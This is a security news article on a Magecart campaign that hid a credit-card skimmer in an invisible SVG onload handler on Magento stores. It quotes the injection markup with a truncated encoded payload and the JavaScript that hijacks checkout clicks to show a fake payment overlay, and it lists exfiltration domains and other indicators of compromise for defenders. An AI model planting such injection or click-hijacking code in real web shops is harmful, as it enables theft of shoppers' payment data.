Cyber Security News

Attackers Deploy Hidden Magecart Skimmer on Magento Using SVG onload Abuse

Security researchers at Sansec uncovered a large-scale Magecart campaign targeting Magento e-commerce platforms.

Nearly 100 online stores were infected with a sophisticated credit card skimmer. To evade security scanners and steal shopper payment data seamlessly, attackers concealed the malicious payload inside an invisible SVG image element.

Threat intelligence suggests the attackers likely breached the sites using the PolyShell vulnerability, an exploit that continues to plague unpatched Magento environments.

The SVG Injection Technique

Instead of loading external scripts, which are frequently flagged by security tools, the threat actors embed a 1×1 pixel SVG image directly into the store’s HTML.

The entire skimmer payload is base64-encoded and executed inline through the SVG’s onload event handler.

Here is the exact injection method:

xml<svg
  width="1px"
  height="1px"
  onload="(()=>{setTimeout(atob('KGZ1bmN0aW9uKCl7IGlm...'),1)})()"
></svg>

By keeping the malware fully inline and encoded within a single string attribute, the attackers successfully bypass traditional monitoring that looks for malicious external script references.

Once injected, the skimmer patiently waits for a shopper to click any checkout button. It intercepts the user’s action using a useCapture event listener, prioritizing its own execution before the store’s legitimate handlers.

The shopper is then shown a highly convincing, full-screen “Secure Checkout” overlay that features realistic card validation and billing fields. The malware intercepts the navigation using the following JavaScript payload:

javascriptdocument.addEventListener(
  "click",
  function (e) {
    var el = e.target.closest('a,button,[role="button"]');
    if (!el) return;
    var href = el.getAttribute("href") || "";
    if (
      (href && checkoutUrl.includes(href)) ||
      el.getAttribute("data-role") === "proceed-to-checkout" ||
      el.id === "top-cart-btn-checkout"
    ) {
      e.preventDefault();
      e.stopImmediatePropagation();
      show(); // display fake checkout overlay
    }
  },
  true,
);

After the victim submits their payment details, the malware encrypts the stolen data using an XOR cipher with the key "script", followed by base64 encoding.

The harvested information is sent to one of six attacker-controlled domains, cleverly disguised to look like legitimate Facebook analytics traffic (/fb_metrics.php). To ensure maximum stealth, the skimmer double-encodes the destination URLs.

According to Sansec, once the data is successfully exfiltrated, the malware sets a browser storage flag (localStorage.setItem('_mgx_cv', '1')) to avoid targeting the same shopper twice.

Finally, the victim is silently redirected to the real checkout page, leaving them completely unaware that their payment data was compromised.

Indicators of Compromise

Exfiltration domains

All six domains resolve to 23.137.249.67, hosted at IncogNet LLC (AS40663) in the Netherlands.

DomainConfirmed victims
statistics-for-you.com15
statistics-renew.com14
morningflexpleasure.com14
reusable-flex.com12
goingfatter.com11
wellfacing.com10

Technical indicators

IndicatorValue
Injection method<svg width="1px" height="1px" onload="...">
Payload encodingbase64 via atob(), executed via setTimeout
Data encodingXOR with key "script", then base64
Exfil endpoint/fb_metrics.php
Exfil methodfetch() POST no-cors, fallback hidden iframe
localStorage key_mgx_cv
Campaign marker{site:'rand0m'} in payload array
Exfil server23.137.249.67 (IncogNet LLC, AS40663, NL)

Follow us on Google News, LinkedIn, and X to Get Instant Updates and Set GBH as a Preferred Source in Google.

Divya

Divya is a Senior Journalist at GBhackers covering Cyber Attacks, Threats, Breaches, Vulnerabilities and other happenings in the cyber world.

Recent Posts

Hackers Use ConnectWise SkyKick Credentials to Access Microsoft 365, Halting Cloud Backups

Attackers abused compromised ConnectWise Cloud Backup credentials to access Microsoft 365 customer environments, prompting ConnectWise…

1 day ago

Anthropic’s Claude AI Uncovers Origins of NSA-Provided Cryptographic Keys After 25 Years

Anthropic says an internal Claude research model reconstructed how the National Security Agency generated seeds…

1 day ago

Critical WordPress Flaws Allow Attackers to Execute Remote Code Without Authentication

Two WordPress Core vulnerabilities can be chained to execute remote code without authentication, according to…

1 day ago

OpenBSD Kernel Flaw Dating Back 37 Years Enables Local Privilege Escalation to Root

A newly disclosed OpenBSD kernel exploitation chain combines a shared memory accounting flaw with a…

1 day ago

GhostAction Hackers Hide Credential-Stealing Malware in Fake Font Files Across 94 GitHub Repositories

GhostAction attackers have expanded their GitHub credential theft campaign with a second stage that disguises…

1 day ago

SideCopy Hackers Target Indian Organizations With ReverseRAT Malware to Steal Data

Indian authorities have warned that SideCopy hackers are targeting Indian organizations, including academic institutions, with…

2 days ago